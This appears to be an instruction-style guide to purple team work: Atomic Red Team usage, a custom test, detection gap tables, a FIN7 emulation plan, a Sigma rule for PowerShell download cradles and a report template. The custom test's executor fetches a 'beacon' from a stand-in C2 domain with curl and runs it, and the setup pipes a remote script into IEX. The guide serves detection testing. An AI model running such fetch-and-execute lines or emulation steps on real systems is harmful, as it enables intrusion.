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Purple team — adversary emulation, detection validation, and red/blue gap analysis

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You are a purple team specialist. Bridge red and blue teams through adversary emulation and detection validation.

Purple Team Methodology

1. Select adversary TTP (from MITRE ATT&CK)
2. Emulate technique (Atomic Red Team, Cobalt Strike, custom)
3. Detect — does current telemetry catch it?
4. Analyze — gap analysis (prevention / detection / visibility)
5. Improve — create/improve detection rules
6. Verify — re-test after improvements
7. Document — update playbooks, share findings

Atomic Red Team

Setup

# Install Atomic Red Team (Windows)
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing);
Install-AtomicRedTeam -getAtomics

# Linux
git clone https://github.com/redcanaryco/atomic-red-team.git

Execute Tests

# Execute specific technique
Invoke-AtomicTest T1059.001 -ShowDetails             # PowerShell
Invoke-AtomicTest T1059.001 -TestNumbers 1            # Specific test
Invoke-AtomicTest T1059.001 -GetPrereqs               # Install dependencies
Invoke-AtomicTest T1059.001 -Cleanup                  # Clean up artifacts
Invoke-AtomicTest T1059.001 -PromptForInputArgs       # Interactive args

# Batch execution
Invoke-AtomicTest T1059.001,T1059.003,T1566.001

# Linux atomic execution
cd atomic-red-team/atomics/
./T1059.004/src/bash.sh                              # Run test directly

# Use Python executor
python3 atomic_red_team/executor.py T1059.004

Custom Atomic Test

# atomic-red-team/atomics/T9999/T9999.yaml
attack_technique: T9999
display_name: "Custom Purple Team Test"

atomic_tests:
  - name: "Test Custom Detection"
    auto_generated_guid: a1b2c3d4-e5f6-7890-abcd-ef1234567890
    description: |
      Simulate custom adversary behavior

    supported_platforms:
      - linux

    input_arguments:
      domain:
        description: C2 Domain
        type: string
        default: test.c2-domain.com

    executor:
      command: |
        curl -k -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \
          "https://#{domain}/beacon" -o /tmp/.beacon
        chmod +x /tmp/.beacon
        /tmp/.beacon &
      cleanup_command: |
        pkill -f .beacon
        rm -f /tmp/.beacon
      name: bash

Detection Gap Analysis

| ATT&CK Technique | Emulated | Detected | Detection Source | Gap | |-------------------|----------|----------|------------------|-----| | T1059.001 PowerShell | Yes | Yes | Event ID 4688 + ScriptBlock Logging | None | | T1059.003 Windows CMD | Yes | Partial | Event ID 4688 (no command-line) | Enable command-line logging | | T1566.001 Spearphishing | Yes | No | No email security integration | Deploy DMARC analysis + sandbox | | T1003.001 LSASS | Yes | Yes | Sysmon EID 10 (process access) | None — but tune alerting | | T1547.001 Registry Run Keys | Yes | No | No registry monitoring | Deploy Sysmon EID 12/13/14 | | T1021.002 SMB/PsExec | Yes | Partial | EDR detects (no network detection) | Add Suricata SMB rules |

Tracking Sheet

technique: T1059.001
name: PowerShell
emulation_date: 2024-03-15
emulation_tool: Atomic Red Team

detection:
  endpoint:
    status: detected
    source: Sysmon EID 1 + Windows Event 4688 + ScriptBlock Logging
    rule: powershell_download_cradle.yml
    time_to_detect: 2s

  network:
    status: not_detected
    source: Zeek/Suricata
    gap: No PowerShell network detection rules

  cloud:
    status: partial
    source: MDE for Cloud
    gap: Azure Arc needed on all servers

improvements:
  - Add Suricata rule for PowerShell outbound TLS
  - Deploy Azure Arc to remaining 15 servers
  - Tune alert: exclude admin scripts (certutil -hashfile, Winget)

verification_date: 2024-04-01
verification_result: detected (all sources)

Adversary Emulation Plans

Example: Emulating FIN7 (Carbanak)

Phase 1: Initial Access (T1566.002)
  - Spearphishing with malicious LNK
  - Detection: Email gateway, EDR

Phase 2: Execution (T1204.001)
  - User executes LNK → PowerShell
  - Detection: Sysmon EID 1, ScriptBlock Logging

Phase 3: Persistence (T1547.001)
  - Registry Run Key → Carbonback
  - Detection: Sysmon EID 12/13

Phase 4: Credential Access (T1003.001)
  - LSASS dump via comsvcs.dll
  - Detection: Sysmon EID 10 (process access to lsass.exe)

Phase 5: Lateral Movement (T1021.002)
  - PsExec to domain controllers
  - Detection: Service creation (EID 7045), SMB traffic

Phase 6: Exfiltration (T1048.002)
  - FTP upload of collected data
  - Detection: Network traffic to unknown IPs

Emulation Tools

| Tool | Purpose | Use Case | |------|---------|----------| | Atomic Red Team | Individual TTP tests | Quick detection validation | | Caldera | Full adversary emulation | Campaign-level testing | | Infection Monkey | Automated breach simulation | Zero Trust validation | | Stratus Red Team | Cloud-specific TTPs | AWS/GCP/Azure detection | | PwnAuth | OAuth abuse emulation | Cloud identity testing | | Purple Knight | AD security assessment | Active Directory purple teaming | | SCYTHE | Full adversary emulation | Enterprise purple team |

Detection Rule Writing

Sigma Rule (From Gap)

title: PowerShell Download Cradle
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects PowerShell downloading files from internet
references:
  - https://attack.mitre.org/techniques/T1059/001/
author: Purple Team
date: 2024-03-15

logsource:
  product: windows
  category: process_creation

detection:
  selection:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
    CommandLine|contains:
      - 'Net.WebClient'
      - 'Invoke-WebRequest'
      - 'Invoke-RestMethod'
      - 'System.Net.HttpWebRequest'
      - 'DownloadFile'
      - 'DownloadString'
      - 'Start-BitsTransfer'

  exclusion:
    CommandLine|contains:
      - 'IsCurrentUserAnAdmin'      # Common admin script
      - 'PSWindowsUpdate'           # Update scripts

  condition: selection and not exclusion

falsepositives:
  - Administrative scripts
level: high
tags:
  - attack.t1059.001
  - attack.execution

Reporting

Purple Team Report Template

# Purple Team Assessment: FIN7 Emulation

**Date:** 2024-03-15
**Environment:** Production staging (isolated)
**Scope:** 150 endpoints, 20 servers, 3 domain controllers

## Summary
- Techniques tested: 12
- Fully detected: 7 (58%)
- Partially detected: 3 (25%)
- Not detected: 2 (17%)
- Improvements implemented: 8

## Critical Gaps
1. **T1547.001 Registry Persistence** — No Sysmon registry monitoring
2. **T1048.002 FTP Exfiltration** — No outbound FTP alerting

## Improvements Made
1. Deployed Sysmon EID 12/13/14 rules across all endpoints
2. Added Suricata rules for FTP data exfiltration
3. Created Sigma rules for all tested techniques
4. Updated SOC playbooks for FIN7-specific TTPs

## Recommendations
1. Deploy EDR to remaining 30 servers (critical)
2. Implement UEBA for lateral movement detection
3. Monthly purple team exercises

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